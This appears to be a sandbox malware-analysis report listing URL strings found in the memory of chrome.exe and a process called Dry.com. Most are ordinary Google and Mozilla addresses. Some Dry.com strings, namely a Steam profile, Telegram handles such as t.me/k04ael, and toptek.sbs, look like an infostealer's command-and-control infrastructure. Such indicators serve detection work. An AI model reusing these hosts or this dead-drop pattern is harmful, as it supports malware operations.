Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 0000000F.00000003.2066823112.0000335C02D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard3
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078082354.0000335C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 0000000F.00000003.2020633666.00002594006F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 0000000F.00000003.2023113077.0000335C001C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078082354.0000335C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 0000000F.00000003.2084657572.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 0000000F.00000003.2072617202.0000335C0271C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2065904669.0000335C0271C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077118601.0000335C0272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033832195.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033832195.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033832195.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BED000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033832195.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033832195.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078082354.0000335C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Dry.com, 0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842371095.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842833283.000000000165D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2461862261.0000000003F91000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842430157.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842551934.0000000003F9E000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: Dry.com, 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Dry.com, 0000000A.00000002.2458694756.0000000001616000.00000004.00000020.00020000.00000000.sdmp, GDT0R9.10.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Dry.com, 0000000A.00000002.2458694756.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, GDT0R9.10.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Dry.com, 0000000A.00000002.2458694756.0000000001616000.00000004.00000020.00020000.00000000.sdmp, GDT0R9.10.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Dry.com, 0000000A.00000002.2458694756.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, GDT0R9.10.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Dry.com, 0000000A.00000003.1842133810.0000000001650000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842191783.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842628658.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.m
Source: Dry.com, 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Dry.com, 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/2
Source: Dry.com, 0000000A.00000003.1842133810.0000000001650000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842191783.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842628658.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04
Source: Dry.com, 0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2461862261.0000000003FDD000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842371095.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842833283.000000000165D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2461862261.0000000003F91000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842430157.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842551934.0000000003F9E000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael
Source: Dry.com, 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: Dry.com, 0000000A.00000002.2459089556.0000000001674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelr
Source: Dry.com, 0000000A.00000002.2459089556.0000000001674000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelt
Source: Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs
Source: Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/
Source: Dry.com, 0000000A.00000002.2461862261.000000000413C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbses
Source: Dry.com, 0000000A.00000002.2461862261.000000000400C000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2461862261.0000000003FB9000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbsosh;
Source: Dry.com, 0000000A.00000002.2461862261.0000000003FDD000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Dry.com.1.dr, Saved.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Saved.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 0000000F.00000003.2036290539.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs3
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icocom/3625
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoesizing
Source: chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078082354.0000335C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2074815994.0000335C02A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 0000000F.00000003.2079047729.0000335C03034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 0000000F.00000003.2078148106.0000335C03080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2079047729.0000335C03034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
